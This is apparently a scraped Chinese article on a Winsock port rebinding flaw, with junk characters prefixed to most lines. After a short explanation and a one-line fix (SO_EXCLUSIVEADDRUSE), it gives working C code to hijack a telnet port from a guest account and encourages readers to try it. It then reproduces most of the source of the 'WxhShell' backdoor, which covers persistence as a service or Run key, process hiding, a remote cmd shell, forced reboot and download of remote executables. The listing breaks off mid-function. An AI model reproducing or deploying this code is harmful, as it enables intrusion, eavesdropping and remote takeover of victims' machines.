在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-VO* P s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}N%uQP#I j]bNOC2.L saddr.sin_family = AF_INET;
;Br
#e1~ .l}oxWWoS saddr.sin_addr.s_addr = htonl(INADDR_ANY);
~Op~~
m |]'0z0> bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
C}8 3t~Q >^ijj`{d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
hz*H,E!> $3je+=ER 这意味着什么?意味着可以进行如下的攻击:
%m?$"<q_K #AUV&pI[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
CwQRHi Lc5I?}:;L 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[ %:%C]4 XL!^tMk 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
\+Pk"M n>aH7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
68,(+vkB gO,2:, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
VSW"/{Lp .U9A\$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
kcyT#'=j X;%*+xQ^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
V.^Z)iNf^ uPQrDr5 #include
h&j9' #include
)R@M~d-o #include
*Ph@XkhU #include
UcxMA%Pw7$ DWORD WINAPI ClientThread(LPVOID lpParam);
>nOzz0, int main()
+!Lz]@9K {
!(>yB;u WORD wVersionRequested;
:1,xs e DWORD ret;
32Jl|@8,g WSADATA wsaData;
(Q~(t BOOL val;
6*tbil_G+ SOCKADDR_IN saddr;
&=`6- J SOCKADDR_IN scaddr;
z)0%gd| int err;
I^itlQ SOCKET s;
<9yB& ^ SOCKET sc;
1G62Qu$O int caddsize;
jO6yZt HANDLE mt;
t o2y#4'. DWORD tid;
UgAG2 wVersionRequested = MAKEWORD( 2, 2 );
=]<JkWSk err = WSAStartup( wVersionRequested, &wsaData );
TATH,Sz:x if ( err != 0 ) {
#,PB( printf("error!WSAStartup failed!\n");
):pFI/iC return -1;
(043G[H'. }
B#Z-kFn@ saddr.sin_family = AF_INET;
]n$&|@ 9_I#{? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
QLum=YB n9x&Ws; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
PHHX)xK saddr.sin_port = htons(23);
r,-9]?i if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%5|DdpES {
ygSvYMC printf("error!socket failed!\n");
h(Ccm44 return -1;
v'X=|$75 }
T^XU5qgN val = TRUE;
@#W$7Gwf0 //SO_REUSEADDR选项就是可以实现端口重绑定的
2<GN+Wv[# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Jk3V]u {
!-Br? printf("error!setsockopt failed!\n");
j~VHU89 return -1;
`.F+T)G }
SdOE^_@: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
U)y~{E~c34 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[V _?`M //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
JHIXTy__ 3PU'd^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
B@@j- {
[tY+P7j9) ret=GetLastError();
.?CumaU printf("error!bind failed!\n");
PquATAzQA return -1;
y.m;4(( }
At=l>
listen(s,2);
dgsD~.((A while(1)
'I *&P5| {
'YUx&FcM caddsize = sizeof(scaddr);
?B`Yq\L) //接受连接请求
$bi@,&t; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
p-1
\4 if(sc!=INVALID_SOCKET)
RS`~i8e' {
^vH3 -A;* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
*)H&n>"e if(mt==NULL)
0;pO QF {
1=X"|`<! printf("Thread Creat Failed!\n");
7TN94@kCF break;
t4E= }
N2_9V~! }
YDMimis\H5 CloseHandle(mt);
baVSQtda }
b 7%O[ closesocket(s);
l-mf~{ WSACleanup();
<DjFMTCN return 0;
"TgE@bC }
|+0XO?,sZ DWORD WINAPI ClientThread(LPVOID lpParam)
F&I ;E i {
4;hgi[ SOCKET ss = (SOCKET)lpParam;
sXaIQhZ SOCKET sc;
rtM!|apr unsigned char buf[4096];
zxr|:KC ?& SOCKADDR_IN saddr;
YN@4.&RP long num;
%95'oW)lo DWORD val;
cjel6 nj DWORD ret;
E-_Q3^ //如果是隐藏端口应用的话,可以在此处加一些判断
/kY|PY //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&@MiR8 saddr.sin_family = AF_INET;
c#6g[TE@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
*1[v08?! saddr.sin_port = htons(23);
`/z6Q" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\%! ~pfM I {
xE4iey@\} printf("error!socket failed!\n");
*4tJ|m6"Y6 return -1;
CNiUHUD }
xXktMlI val = 100;
+s'qcC if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
iS"( {
01nbR+e ret = GetLastError();
:z!N_]t return -1;
02~+$R]L }
Pkbx/\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!L#>wlX) {
2AAZZx +$ ret = GetLastError();
De(\<H# return -1;
Hi 1@ }
E\(dyq/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_IOt(Zb( {
lc71Pp> printf("error!socket connect failed!\n");
v3i]z9` closesocket(sc);
E .kjYIH8 closesocket(ss);
2h6<'2'o1 return -1;
?1?zmaS }
cv b:FK while(1)
\+cU} {
xnW3,:0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
UtF8T6PKdW //如果是嗅探内容的话,可以再此处进行内容分析和记录
>_Dq )n;% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=Kv*M@ num = recv(ss,buf,4096,0);
!c+Nf2I7S if(num>0)
6_m5%c~;+r send(sc,buf,num,0);
cGhnI& else if(num==0)
#-_';Er\ break;
' {L5 3cH= num = recv(sc,buf,4096,0);
:K ^T@F5n if(num>0)
GnlP#; send(ss,buf,num,0);
bm>,$GW( else if(num==0)
zqDIwfW break;
Zr0bVe+h }
p9;Oe,Il closesocket(ss);
y\DR,$Py closesocket(sc);
37hs/=x return 0 ;
bqHR~4 #IR }
2g elmQnc FC:Z9 {2! |0A"3w ==========================================================
v`"z
&@O]' 下边附上一个代码,,WXhSHELL
[X'XxYbZ qn VxP& ==========================================================
7cGc`7 =/Ob
kVYf #include "stdafx.h"
`.dX@< DD3.el}6a #include <stdio.h>
U[EM<5@I #include <string.h>
+>#SB"' #include <windows.h>
8E:8iNbF #include <winsock2.h>
wN"j:G( #include <winsvc.h>
G x;U 3iV #include <urlmon.h>
!o+Y"* / g\CRx^s #pragma comment (lib, "Ws2_32.lib")
~C1lbn b #pragma comment (lib, "urlmon.lib")
i`3h\ku `ZCeuOH #define MAX_USER 100 // 最大客户端连接数
^ lrq`1k #define BUF_SOCK 200 // sock buffer
(!72Eaw:] #define KEY_BUFF 255 // 输入 buffer
4l/hh|3@ 39p&M"Yo #define REBOOT 0 // 重启
G_GV #define SHUTDOWN 1 // 关机
[?3]+xr: <l/QS3M #define DEF_PORT 5000 // 监听端口
(yjx+K_[ e>zCzKK #define REG_LEN 16 // 注册表键长度
\K$9r=!( #define SVC_LEN 80 // NT服务名长度
sN`2"t/s ke'aSD // 从dll定义API
e6E{l typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+gZg7]!Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{tUjUwhz( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8$k `bZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_l`d+
\#
UF3g]>* // wxhshell配置信息
~=$0=)c struct WSCFG {
J9!}8uD int ws_port; // 监听端口
C`s char ws_passstr[REG_LEN]; // 口令
;B4x> int ws_autoins; // 安装标记, 1=yes 0=no
$#3O:aW char ws_regname[REG_LEN]; // 注册表键名
{}r#s> char ws_svcname[REG_LEN]; // 服务名
: GVyY]qBU char ws_svcdisp[SVC_LEN]; // 服务显示名
oy8L{8? char ws_svcdesc[SVC_LEN]; // 服务描述信息
dNH6%1(s]0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@>>8CU^~ int ws_downexe; // 下载执行标记, 1=yes 0=no
Rra3)i`* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
i2. +E&3v char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-&N^S? <gvuCydsh };
$AGW8" n}KF)W= // default Wxhshell configuration
&I8Q' struct WSCFG wscfg={DEF_PORT,
q"Ct=d "xuhuanlingzhe",
nitKX.t8 1,
EL*OeyU1l "Wxhshell",
G@Ha
t "Wxhshell",
>3{#S: "WxhShell Service",
e70#"~gt[ "Wrsky Windows CmdShell Service",
5<Ly^Na: "Please Input Your Password: ",
W9i}w& 1,
%2H0JXKa, "
http://www.wrsky.com/wxhshell.exe",
?8ZOiY( "Wxhshell.exe"
#b u]@/ };
<OX_6d *@ ( (.b& // 消息定义模块
"H{Etb/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$KSdNFtM)A char *msg_ws_prompt="\n\r? for help\n\r#>";
WJ%4IaT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
1!(Og~#( char *msg_ws_ext="\n\rExit.";
EESGU( char *msg_ws_end="\n\rQuit.";
+<l6!r2Z char *msg_ws_boot="\n\rReboot...";
6wIo95` char *msg_ws_poff="\n\rShutdown...";
]2:w?+T char *msg_ws_down="\n\rSave to ";
pr\wI?:k $w,O[PIi char *msg_ws_err="\n\rErr!";
'?j[hhfB- char *msg_ws_ok="\n\rOK!";
2O|jVGap5x f*Z8C9) char ExeFile[MAX_PATH];
OTgctw1s int nUser = 0;
i5PZ )& HANDLE handles[MAX_USER];
Ijg//= int OsIsNt;
Ly\ ` Ox | ? SERVICE_STATUS serviceStatus;
=1k E2u SERVICE_STATUS_HANDLE hServiceStatusHandle;
Hnq$d6F A_8UPGh8 // 函数声明
%4bGI/\/ int Install(void);
z%FBHj int Uninstall(void);
Z<P?P` int DownloadFile(char *sURL, SOCKET wsh);
6_G[& int Boot(int flag);
yj:<3_-C* void HideProc(void);
/$z(BX/ int GetOsVer(void);
=nVEdRU int Wxhshell(SOCKET wsl);
8fI]QW void TalkWithClient(void *cs);
`_MRf[Z} int CmdShell(SOCKET sock);
3I"xuKxc int StartFromService(void);
k?!CJ@5$ int StartWxhshell(LPSTR lpCmdLine);
_Wb3,E a= 5L?_AUL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`\p5!Iq
Q VOID WINAPI NTServiceHandler( DWORD fdwControl );
U4$}8~o4 Jw+k=> // 数据结构和表定义
tv]^k]n{rf SERVICE_TABLE_ENTRY DispatchTable[] =
2|6E{o {
!iNN6-v% {wscfg.ws_svcname, NTServiceMain},
",v!geMvu {NULL, NULL}
#<$pl]>}t };
zl]Ic' _i GbXa=*
<-< // 自我安装
l:@`.'-= int Install(void)
0:1[F!]'b {
&c AFKYt char svExeFile[MAX_PATH];
EDDld6O, HKEY key;
;bYpMcH strcpy(svExeFile,ExeFile);
hL?"! q PveG1+25 // 如果是win9x系统,修改注册表设为自启动
~ERA if(!OsIsNt) {
{uCXF~v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&UFj
U%Z% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_c z$w5` RegCloseKey(key);
lH%%iYBM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mXSs:FqE! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%&iY5A RegCloseKey(key);
["u:_2!4P return 0;
j}`XF?2D }
JK%UaEut= }
4[XiD*
* }
9K:ICXm else {
dzbFUDJ l-gNJ=l+K // 如果是NT以上系统,安装为系统服务
BJDSk#!J!{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7l+:gD if (schSCManager!=0)
+Oafo|% {
G m~2s;/ SC_HANDLE schService = CreateService
DtFzT>$^F (
} %bP9 schSCManager,
(teK0s;t5k wscfg.ws_svcname,
mS9ITe
M wscfg.ws_svcdisp,
Z,"f2UJ SERVICE_ALL_ACCESS,
i)1013b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-V F*h.' SERVICE_AUTO_START,
W#bOx0 SERVICE_ERROR_NORMAL,
EyDH-}Y svExeFile,
+a'["Gjq; NULL,
/)J]m NULL,
oc>N| ww: NULL,
)*`cJ_t NULL,
xbNL <3"a NULL
<*3#nA-O>i );
'},
8x? if (schService!=0)
7L4~yazmK {
-)%gMD~z1 CloseServiceHandle(schService);
L!LhH CloseServiceHandle(schSCManager);
K})w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
B.#.gB#C strcat(svExeFile,wscfg.ws_svcname);
GlOSCJZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
KBg5_+l RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
QFg{.F?3q> RegCloseKey(key);
<HfmNhI85( return 0;
4>NmJrh }
oXgi#(y }
([ODmZHv CloseServiceHandle(schSCManager);
(`js/7[`H[ }
hRI?>an }
hQ80R B ?'^dYQ4 return 1;
08qM?{zo^ }
VUUE2k;^ o^3X5})sv // 自我卸载
0x2[*pJ|IW int Uninstall(void)
7?p>v34A {
Vv_lBYV HKEY key;
Ca}V5O l_i&8*=Px if(!OsIsNt) {
^US ol/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>* h3u7t RegDeleteValue(key,wscfg.ws_regname);
|0nt u+ RegCloseKey(key);
c2Yrg@) [ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$)Ty@@7C RegDeleteValue(key,wscfg.ws_regname);
-+z8bZ RegCloseKey(key);
miB+'n"zS return 0;
fo_*Uva_ }
o#QS: '| }
!-~sxa280r }
2rWPqG4e else {
A(D3wctdr PlRcrT"#w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6=p!`DOd if (schSCManager!=0)
b#W(&b^q {
62 9g_P) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(b"kN( if (schService!=0)
=Bos>;dl {
7{Zs"d{s if(DeleteService(schService)!=0) {
!7n`-#) CloseServiceHandle(schService);
6B!v;93U CloseServiceHandle(schSCManager);
rAZ~R PrW return 0;
&W{<Yf9 }
V$g!#V CloseServiceHandle(schService);
^IqD^(Kb }
"V<WC" CloseServiceHandle(schSCManager);
?>DwNz^.! }
<N8z<o4rku }
i$6o>V6 PM3fJhx return 1;
]2rCn}; }
6T6UIq fS]Z`U" // 从指定url下载文件
4l@aga int DownloadFile(char *sURL, SOCKET wsh)
'x u!t'l& {
9.wZhcqqU HRESULT hr;
MogIQ char seps[]= "/";
I_is3y0 char *token;
3oMa char *file;
tR<L9h char myURL[MAX_PATH];
qHu\3@px char myFILE[MAX_PATH];
g4Nl"s*~ fF^A9{{BS strcpy(myURL,sURL);
XBm ^7' token=strtok(myURL,seps);
C1x(4&h while(token!=NULL)
~_|CXPiQ8 {
Ki dbcZ file=token;
*})Np0k token=strtok(NULL,seps);
vlo!D9zsV3 }
[sl"\3) 5Un)d<!7&u GetCurrentDirectory(MAX_PATH,myFILE);
/Zg4JQ~ strcat(myFILE, "\\");
rw#?NI: strcat(myFILE, file);
J~}i}|YC> send(wsh,myFILE,strlen(myFILE),0);
]\F}-I[ send(wsh,"...",3,0);
xiO10:L4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+8.1cDEH\ if(hr==S_OK)
Pv\-D<&@m return 0;
iCy$
rC else
gp-rTdN return 1;
}1|FES ?ajVf./Ja }
\{54mM~ u@T,8 // 系统电源模块
EMf"rGXu( int Boot(int flag)
w01u~"E {
(^$SMuC HANDLE hToken;
@@& ?,3 TOKEN_PRIVILEGES tkp;
o`.5NUn 7)*QX,4C if(OsIsNt) {
PoZxT-U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
FSb4RuD9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6SEq 2 tkp.PrivilegeCount = 1;
!H(V%B% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
F6Qnz8| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:Fi$-g if(flag==REBOOT) {
%t%D|cf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`.F3&pA return 0;
#@<L$"L }
pDt45 else {
g:?p/L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_+d*ljP)l3 return 0;
5}:`CC2,S~ }
5>>JQ2'W }
k< else {
sV`p3L8pl if(flag==REBOOT) {
i!+0''i{# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
<+:
PTG/(' return 0;
Xj$'i/=-+c }
Q1P=A:*]9 else {
MI>_wG5P@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
HxNoV.q return 0;
L/)Q1Mm }
SA{5A 1 }
Z<`:xFy( k;
ned return 1;
}r|$\ms }
`vD.5 a7"Aq:IjU // win9x进程隐藏模块
y>] Yq- void HideProc(void)
BO'7c1FU {
2{4f>,][ 3zzl|+# 6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Ag}P if ( hKernel != NULL )
S&NWZ:E3[ {
WU~L#Ih.V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
N]&:xd5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5RR4jX] FreeLibrary(hKernel);
ageTv/ }
d8&T62Dnd4 j5G=ZI86y return;
ZC3;QKw> }
!_>o2 MGH2z: // 获取操作系统版本
ilwI qj int GetOsVer(void)
[n&SA]a {
f}7/UGd OSVERSIONINFO winfo;
CM;B{*En winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
eDsc_5I GetVersionEx(&winfo);
;8yEhar if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
FMz>p1s|dK return 1;
'EG/)0t` else
#1Iev7w return 0;
r\$`e7d}! }
0D&-BAzi hSG1f` // 客户端句柄模块
?4#wVzuzA int Wxhshell(SOCKET wsl)
63c\1]YB. {
S%3&Y3S SOCKET wsh;
fiW2m=h_ struct sockaddr_in client;
6/&|)gW', DWORD myID;
!G;|~|fMV ]4]AcJj while(nUser<MAX_USER)
9]QHwa>_|2 {
C%AN4Mo int nSize=sizeof(client);
&+ UnPE(
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
C&;m56 if(wsh==INVALID_SOCKET) return 1;
r>J%Eu/O /]9(InM9/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~xf uq{L; if(handles[nUser]==0)
KU;J2Kt closesocket(wsh);
[H{2<! else
\Yr&vX/[p nUser++;
_eUd
RL> }
|J:m{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
r)oR`\7 BF /4 return 0;
-V=,x3Zew }
6yd?xeD VbX$\Cs: // 关闭 socket
Wcki=ac\v! void CloseIt(SOCKET wsh)
x| r# {
.qrS[ w closesocket(wsh);
G' mg-{ nUser--;
na_Wp^; ExitThread(0);
AU<A\ }
yv\
j&B| \6;b.&%w2 // 客户端请求句柄
yHn8t]{ void TalkWithClient(void *cs)
rs,:pU {
-d^c!Iu| vGchKN~_ SOCKET wsh=(SOCKET)cs;
l f_q6y char pwd[SVC_LEN];
p_CC KU char cmd[KEY_BUFF];
(Ji=fh+ char chr[1];
SyIi*dH int i,j;
Nh1,
w *kt%.wPJ while (nUser < MAX_USER) {
%!]CP1S n,Q^M$mS0 if(wscfg.ws_passstr) {
O}X@QG2_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cpM]APF- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5EL&?\e //ZeroMemory(pwd,KEY_BUFF);
Dw.Pv)'$ i=0;
K[i&!Z&
while(i<SVC_LEN) {
iJr(;Bq oo]g=C$n // 设置超时
%S<))G fd_set FdRead;
lhB;jE struct timeval TimeOut;
+ De-U. FD_ZERO(&FdRead);
1l\.>H\E FD_SET(wsh,&FdRead);
TmEh$M TimeOut.tv_sec=8;
`Db%:l^e TimeOut.tv_usec=0;
n\u3$nGL1` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
n1rJ^q-G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
E+~1GKd r=<1*u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Xuj=V?5 pwd
=chr[0]; .B{:<;sa
if(chr[0]==0xd || chr[0]==0xa) { U|v@v@IBA
pwd=0; +5H1n(6)
break; "O8iO!:
} 9XX:_9|I
i++; a@m
64l)
} h&z(;B!;y.
U[NQ"
// 如果是非法用户,关闭 socket __[bKd.
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _m3#g1m{
} #|F5Kh"
.cs4AWml<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u\u6<[>P
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gg6<4T1
wSG!.Ejc7
while(1) { D9\ E kX
tW%!|T5/
ZeroMemory(cmd,KEY_BUFF); K'b #}N\
wQ '_, d
// 自动支持客户端 telnet标准 E|x t\*
j=0; %APeQy"6#^
while(j<KEY_BUFF) { 7kmd.<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E<77Tj
cmd[j]=chr[0]; ^-%O
if(chr[0]==0xa || chr[0]==0xd) { N9=?IFEe]
cmd[j]=0; \8/$ZEom
break; D}nIF7r2N
} X"S")BQ
q
j++; #%.fsJNA$
} _"lW
DVw 04ay%
// 下载文件 1!A'mkk8
if(strstr(cmd,"http://")) { !0Eo9bU%@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); &@z
M<A
if(DownloadFile(cmd,wsh)) 7rIEpN>*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "\rR0V!wA
else b.QL\$a
&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @c;:D`\p1C
} cR!Mn$m
else { H+ 7Fw'u
YeVkX{y
switch(cmd[0]) { 7t|011<
sEcg;LFp
// 帮助 pZ&?uo67_
case '?': { Df=Xbf>jt9
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rz=wInFs
break; ilkN3J
} ^) 5*?8#
// 安装 ;f9a0V s
case 'i': { f|&,SI ?
if(Install()) ZW`wA2R0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m&k l_f7
else `tJ"wpCf6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AQgm]ex<
break; t`'5|
} mZ#h p}\.
// 卸载 !.[H!-V.
case 'r': { _PGS"O?j
if(Uninstall()) . 12H/F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )q>q]eHz
else zc5>)v LH=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6}?5Oy_XF2
break; >JT^[i8[
} QI6=[
// 显示 wxhshell 所在路径 %)P)Xb
case 'p': { <L:}u!
char svExeFile[MAX_PATH]; mEq>{l:
strcpy(svExeFile,"\n\r"); ~o8x3`CoF
strcat(svExeFile,ExeFile); [k
send(wsh,svExeFile,strlen(svExeFile),0); h:{^&d
a
break; e6_`
} E\*M4n\!
// 重启 ant#bDb/
case 'b': { dS;Ui]/J
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fU^5Dl
if(Boot(REBOOT)) TS@U0Ror
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iKA qM{(
else { FUs57
V
closesocket(wsh); PQ(/1v
ExitThread(0); t^8|t(Lq
} "hLmwz|a
break; tiTh7qYi9
} /9SNXjfbt
// 关机 0"DS>:Ntk
case 'd': { l` ?4O
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?HP{>l0r
if(Boot(SHUTDOWN)) p9j2jb,qy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |jyD@Q,4
else { xH{V.n&v
closesocket(wsh);
7!^Zsp^+
ExitThread(0); KBwY _
} #s|,oIm
break; lcuqzX{7
} dW#?{n-H<
// 获取shell {|R +|ow
case 's': { :}[D;cx
CmdShell(wsh); F7U$7(I2G
closesocket(wsh); HC(o;,spO
ExitThread(0); JwcC9
O
break; Zl{DqC^
} apv"s+
// 退出 E
rnGX#@v
case 'x': { 4|xQQv
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4\(|V
fy
CloseIt(wsh); \vp^[,SI
break; dyuT-.2
} 7*g'4p-
// 离开 L?r\J8Ch<
case 'q': { uAv'%/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); q.v_?X<_
closesocket(wsh); >on' y+
WSACleanup(); q]OgT4ly
exit(1); 8t1,_,2'
break; iS}~e{TP/
} og8"#%
} +3o
4KB}
} !l~3K(&4
i2n66d
// 提示信息 yrV]I(Xe
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x}H%NzR
} m,#Us
} ?CZ*MMV
KhPDkD-
return; +*KDtqZjk
} S<"`9r)av
~ ]^<*R
// shell模块句柄 @po|07
int CmdShell(SOCKET sock) s]i<D9h
{ X.JPM{]
STARTUPINFO si; 8M7pc{
ZeroMemory(&si,sizeof(si)); 2jH&@g$cl;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9H,Ec,.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BH^8!7dkT
PROCESS_INFORMATION ProcessInfo; lZ5TDS
char cmdline[]="cmd"; z|sR
`]K
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @-Ln* 3n
return 0; <PXnR\
} JU RJN+)z
JsbH'l
// 自身启动模式 (Q ~<>
int StartFromService(void) ZIvP?:=!
{ 6D1tRo
typedef struct i0*6o3h
{ Ar1X
mHq
DWORD ExitStatus; 6%2\bI.#
DWORD PebBaseAddress; i T&Y9
DWORD AffinityMask; {ZD'l5jU
DWORD BasePriority; oSB0P
ULONG UniqueProcessId; * AjJf)o
ULONG InheritedFromUniqueProcessId; aOTrng
} PROCESS_BASIC_INFORMATION; jGKas I`
1J O@G3,
